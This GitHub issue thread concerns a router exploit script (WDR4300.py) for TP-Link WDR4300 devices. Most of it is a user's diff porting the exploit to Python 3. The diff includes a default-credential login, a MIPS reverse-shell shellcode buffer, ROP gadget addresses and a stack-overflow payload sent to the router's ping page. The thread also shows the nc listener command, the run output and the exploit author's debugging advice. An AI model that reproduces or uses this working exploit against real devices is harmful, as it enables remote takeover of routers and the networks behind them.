pjlantz / findings

Various write-ups and exploits
0 stars 0 forks source link

Python3 Issues with WDR4300.py #1

Open sybernomad opened 1 year ago

sybernomad commented 1 year ago

Was this ever tested with python3 (tried running on 3.4+)? There's quite a few errors that occur while running.

For example, in Python 3.x, hashlib.md5() expects a byte-like object as input, rather than a string.

So credentials = "admin" + ":" + hashlib.md5(password).hexdigest() should be credentials = "admin" + ":" + hashlib.md5(password.encode('utf-8')).hexdigest()

The binascii.b2a_base64() method also expects a bytes-like object as its input, so auth = base64.b64encode(credentials) should be auth = base64.b64encode(credentials.encode('utf-8')).

h["Cookie"] = "Authorization=Basic%20" + auth needs to be h["Cookie"] = "Authorization=Basic%20" + auth.decode()

All of the reverse tcp shellcode (and anywhere it gets used) need to be byte string objects.

However, after making all those changes, it seems like this succeeds with just crashing the httpd service on the wdr4300 (tested on 3.14.3 Build 150518 ) and never actually succeeding in getting a reverse shell (have nc running and listening on 31337 per the shell code, and even popped open wireshark and never see it even attempt to connect back).

pjlantz commented 1 year ago

This was probably never tested with python3 as far as I remember.

What IP are you using for the reverse shell to connect back to? Could be that your IP contains bad characters, 0x00 or 0x20 - if so try an IP without any of these chars present.

sybernomad commented 1 year ago

My wdr4300 is at 192.168.2.1 and my host is 192.168.2.100 (I hardcoded it into the shellcode [b'c0', b'a8', b'02', b'64'].

Here's what I'm trying:

diff --git a/WDR4300.py b/WDR4300.py
index 1f10626..d4b223c 100644
--- a/WDR4300.py
+++ b/WDR4300.py
@@ -28,13 +28,13 @@ def main(argv):
         sys.exit(1)

     password = "admin"
-    target = "192.168.0.1:80"
+    target = "192.168.2.1:80"
     attacker_ip = sys.argv[1]

     attacker = binascii.hexlify(socket.inet_aton(attacker_ip))
     ip = [attacker[i:i+2] for i in range(0, len(attacker), 2)]

-    if '00' in ip or '20' in ip:
+    if b'00' in ip or b'20' in ip:
         print("[-] Specified attacker IP will result in bad characters being present in the shellcode. Avoid any IPs containing .0. and .32.")
         sys.exit(1) 

@@ -53,16 +53,16 @@ def main(argv):
         print("[-] This does not seem to be the web interface of a router!")

-    credentials = "admin" + ":" + hashlib.md5(password).hexdigest()
-    auth = base64.b64encode(credentials)
+    credentials = "admin" + ":" + hashlib.md5(password.encode()).hexdigest()
+    auth = base64.b64encode(credentials.encode())
     url = "http://" + target + "/userRpm/LoginRpm.htm?Save=Save"

     print("[+] Setting target to: " + target)
     print("[+] Using default admin password: " + password)
-    print("[+] Cookie set to: Authorization=Basic%20" + auth)
+    print("[+] Cookie set to: Authorization=Basic%20" + auth.decode())

     h = {}
-    h["Cookie"] = "Authorization=Basic%20" + auth
+    h["Cookie"] = "Authorization=Basic%20" + auth.decode()
     h['Upgrade-Insecure-Requests'] = '1'
     h['Referer'] = 'http://' + target + '/'

@@ -103,58 +103,58 @@ def main(argv):

     # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
-    nopsled = ""
+    nopsled = b""
     for i in range(12):
-        nopsled += "\x26\x40\x08\x01"
+        nopsled += b"\x26\x40\x08\x01"

     # identified bad characters: 0x20,0x00
     # Using reverse tcp shellcode from https://www.exploit-db.com/exploits/45541
     buf = b""
-    buf += "\x24\x0f\xff\xfa"      # li      $t7, -6
-    buf += "\x01\xe0\x78\x27"      # nor     $t7, $zero
-    buf += "\x21\xe4\xff\xfd"      # addi    $a0, $t7, -3
-    buf += "\x21\xe5\xff\xfd"      # addi    $a1, $t7, -3
-    buf += "\x28\x06\xff\xff"      # slti    $a2, $zero, -1
-    buf += "\x24\x02\x10\x57"      # li      $v0, 4183 ( sys_socket )
-    buf += "\x01\x01\x01\x0c"      # syscall 0x40404
-    buf += "\xaf\xa2\xff\xff"      # sw      $v0, -1($sp)
-    buf += "\x8f\xa4\xff\xff"      # lw      $a0, -1($sp)
-    buf += "\x34\x0f\xff\xfd"      # li      $t7, -3 ( sa_family = AF_INET )
-    buf += "\x01\xe0\x78\x27"      # nor     $t7, $zero
-    buf += "\xaf\xaf\xff\xe0"      # sw      $t7, -0x20($sp)
-    buf += "\x3c\x0e\x7a\x69"      # lui     $t6, 0x7a69 ( sin_port = 0x7a69 )
-    buf += "\x35\xce\x7a\x69"      # ori     $t6, $t6, 0x7a69
-    buf += "\xaf\xae\xff\xe4"      # sw      $t6, -0x1c($sp)
-    buf += "\x3c\x0e" + ip[0].decode('hex')  + ip[1].decode('hex')       # lui     $t6, 0xAABB         ( sin_addr = 0xAABB ...
-    buf += "\x35\xce" + ip[2].decode('hex')  + ip[3].decode('hex')       # ori     $t6, $t6, 0xCCDD                 ... 0xCCDD
-    buf += "\xaf\xae\xff\xe6"      # sw      $t6, -0x1a($sp)
-    buf += "\x27\xa5\xff\xe2"      # addiu   $a1, $sp, -0x1e
-    buf += "\x24\x0c\xff\xef"      # li      $t4, -17  ( addrlen = 16 )
-    buf += "\x01\x80\x30\x27"      # nor     $a2, $t4, $zero
-    buf += "\x24\x02\x10\x4a"      # li      $v0, 4170 ( sys_connect )
-    buf += "\x01\x01\x01\x0c"      # syscall 0x40404
-    buf += "\x24\x0f\xff\xfd"      # li      t7,-3
-    buf += "\x01\xe0\x28\x27"      # nor     a1,t7,zero
-    buf += "\x8f\xa4\xff\xff"      # lw      $a0, -1($sp)  
-    buf += "\x24\x02\x0f\xdf"      # li      $v0, 4063 ( sys_dup2 )
-    buf += "\x01\x01\x01\x0c"      # syscall 0x40404
-    buf += "\x24\xa5\xff\xff"      # addi    a1,a1,-1 (\x20\xa5\xff\xff)
-    buf += "\x24\x01\xff\xff"      # li      at,-1
-    buf += "\x14\xa1\xff\xfb"      # bne     a1,at, dup2_loop
-    buf += "\x28\x06\xff\xff"      # slti    $a2, $zero, -1
-    buf += "\x3c\x0f\x2f\x2f"      # lui     $t7, 0x2f2f
-    buf += "\x35\xef\x62\x69"      # ori     $t7, $t7, 0x6269
-    buf += "\xaf\xaf\xff\xec"      # sw      $t7, -0x14($sp)
-    buf += "\x3c\x0e\x6e\x2f"      # lui     $t6, 0x6e2f
-    buf += "\x35\xce\x73\x68"      # ori     $t6, $t6, 0x7368
-    buf += "\xaf\xae\xff\xf0"      # sw      $t6, -0x10($sp)
-    buf += "\xaf\xa0\xff\xf4"      # sw      $zero, -0xc($sp)
-    buf += "\x27\xa4\xff\xec"      # addiu   $a0, $sp, -0x14
-    buf += "\xaf\xa4\xff\xf8"      # sw      $a0, -8($sp)
-    buf += "\xaf\xa0\xff\xfc"      # sw      $zero, -4($sp)
-    buf += "\x27\xa5\xff\xf8"      # addiu   $a1, $sp, -8
-    buf += "\x24\x02\x0f\xab"      # li      $v0, 4011 (sys_execve)
-    buf += "\x01\x01\x01\x0c"      # syscall 0x40404
+    buf += b"\x24\x0f\xff\xfa"      # li      $t7, -6
+    buf += b"\x01\xe0\x78\x27"      # nor     $t7, $zero
+    buf += b"\x21\xe4\xff\xfd"      # addi    $a0, $t7, -3
+    buf += b"\x21\xe5\xff\xfd"      # addi    $a1, $t7, -3
+    buf += b"\x28\x06\xff\xff"      # slti    $a2, $zero, -1
+    buf += b"\x24\x02\x10\x57"      # li      $v0, 4183 ( sys_socket )
+    buf += b"\x01\x01\x01\x0c"      # syscall 0x40404
+    buf += b"\xaf\xa2\xff\xff"      # sw      $v0, -1($sp)
+    buf += b"\x8f\xa4\xff\xff"      # lw      $a0, -1($sp)
+    buf += b"\x34\x0f\xff\xfd"      # li      $t7, -3 ( sa_family = AF_INET )
+    buf += b"\x01\xe0\x78\x27"      # nor     $t7, $zero
+    buf += b"\xaf\xaf\xff\xe0"      # sw      $t7, -0x20($sp)
+    buf += b"\x3c\x0e\x7a\x69"      # lui     $t6, 0x7a69 ( sin_port = 0x7a69 )
+    buf += b"\x35\xce\x7a\x69"      # ori     $t6, $t6, 0x7a69
+    buf += b"\xaf\xae\xff\xe4"      # sw      $t6, -0x1c($sp)
+    buf += b"\x3c\x0e\xc0\xa8"# + ip[0]  + ip[1]       # lui     $t6, 0xAABB         ( sin_addr = 0xAABB ...
+    buf += b"\x35\xce\x02\x64"# + ip[2]  + ip[3]       # ori     $t6, $t6, 0xCCDD                 ... 0xCCDD
+    buf += b"\xaf\xae\xff\xe6"      # sw      $t6, -0x1a($sp)
+    buf += b"\x27\xa5\xff\xe2"      # addiu   $a1, $sp, -0x1e
+    buf += b"\x24\x0c\xff\xef"      # li      $t4, -17  ( addrlen = 16 )
+    buf += b"\x01\x80\x30\x27"      # nor     $a2, $t4, $zero
+    buf += b"\x24\x02\x10\x4a"      # li      $v0, 4170 ( sys_connect )
+    buf += b"\x01\x01\x01\x0c"      # syscall 0x40404
+    buf += b"\x24\x0f\xff\xfd"      # li      t7,-3
+    buf += b"\x01\xe0\x28\x27"      # nor     a1,t7,zero
+    buf += b"\x8f\xa4\xff\xff"      # lw      $a0, -1($sp)  
+    buf += b"\x24\x02\x0f\xdf"      # li      $v0, 4063 ( sys_dup2 )
+    buf += b"\x01\x01\x01\x0c"      # syscall 0x40404
+    buf += b"\x24\xa5\xff\xff"      # addi    a1,a1,-1 (\x20\xa5\xff\xff)
+    buf += b"\x24\x01\xff\xff"      # li      at,-1
+    buf += b"\x14\xa1\xff\xfb"      # bne     a1,at, dup2_loop
+    buf += b"\x28\x06\xff\xff"      # slti    $a2, $zero, -1
+    buf += b"\x3c\x0f\x2f\x2f"      # lui     $t7, 0x2f2f
+    buf += b"\x35\xef\x62\x69"      # ori     $t7, $t7, 0x6269
+    buf += b"\xaf\xaf\xff\xec"      # sw      $t7, -0x14($sp)
+    buf += b"\x3c\x0e\x6e\x2f"      # lui     $t6, 0x6e2f
+    buf += b"\x35\xce\x73\x68"      # ori     $t6, $t6, 0x7368
+    buf += b"\xaf\xae\xff\xf0"      # sw      $t6, -0x10($sp)
+    buf += b"\xaf\xa0\xff\xf4"      # sw      $zero, -0xc($sp)
+    buf += b"\x27\xa4\xff\xec"      # addiu   $a0, $sp, -0x14
+    buf += b"\xaf\xa4\xff\xf8"      # sw      $a0, -8($sp)
+    buf += b"\xaf\xa0\xff\xfc"      # sw      $zero, -4($sp)
+    buf += b"\x27\xa5\xff\xf8"      # addiu   $a1, $sp, -8
+    buf += b"\x24\x02\x0f\xab"      # li      $v0, 4011 (sys_execve)
+    buf += b"\x01\x01\x01\x0c"      # syscall 0x40404

     shellcode = nopsled + buf

@@ -193,13 +193,13 @@ def main(argv):
     Jump to the shellcode pointed in s0.
     """

-    sleep_addr = "\x2a\xb3\x5c\xa0"
-    sleep_gadget = "\x2a\xb2\xe9\x74" 
-    stack_gadget = "\x2a\xb1\xbf\xa8"
-    call_gadget  = "\x2a\xb2\x26\xd8"
+    sleep_addr = b"\x2a\xb3\x5c\xa0"
+    sleep_gadget = b"\x2a\xb2\xe9\x74" 
+    stack_gadget = b"\x2a\xb1\xbf\xa8"
+    call_gadget  = b"\x2a\xb2\x26\xd8"

-    junk = "J"*28
-    payload = "A"*160 + sleep_addr + call_gadget +  sleep_gadget + junk + stack_gadget + shellcode
+    junk = b"J"*28
+    payload = b"A"*160 + sleep_addr + call_gadget +  sleep_gadget + junk + stack_gadget + shellcode

     p = {'ping_addr': payload, 'doType': 'ping', 'isNew': 'new', 'sendNum': '4', 'pSize':64, 'overTime':'800', 'trHops':'20'}
     url = "http://" + target + "/" + unique_id + "userRpm/PingIframeRpm.htm"

On my host I'm running:

> nc -nlvvp 31337
Listening on 0.0.0.0 31337

And when I run WDR4300.py:

> python3 WDR4300.py 192.168.2.100
[+] Setting target to: 192.168.2.1:80
[+] Using default admin password: admin
[+] Cookie set to: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=
[+] Authentication succeeded, got unique id: YRSUHOLBYZEPGTKB
[+] Delivering exploit payload to: http://192.168.2.1:80/YRSUHOLBYZEPGTKB/userRpm/PingIframeRpm.htm
pjlantz commented 1 year ago

Nothing in your changes look incorrect. I do not have a device to test anymore but I would suggest to attach gdbserver to the httpd process and debug it, it seems vulnerable as it crashes so the offsets in the payload might be wrong for some reason.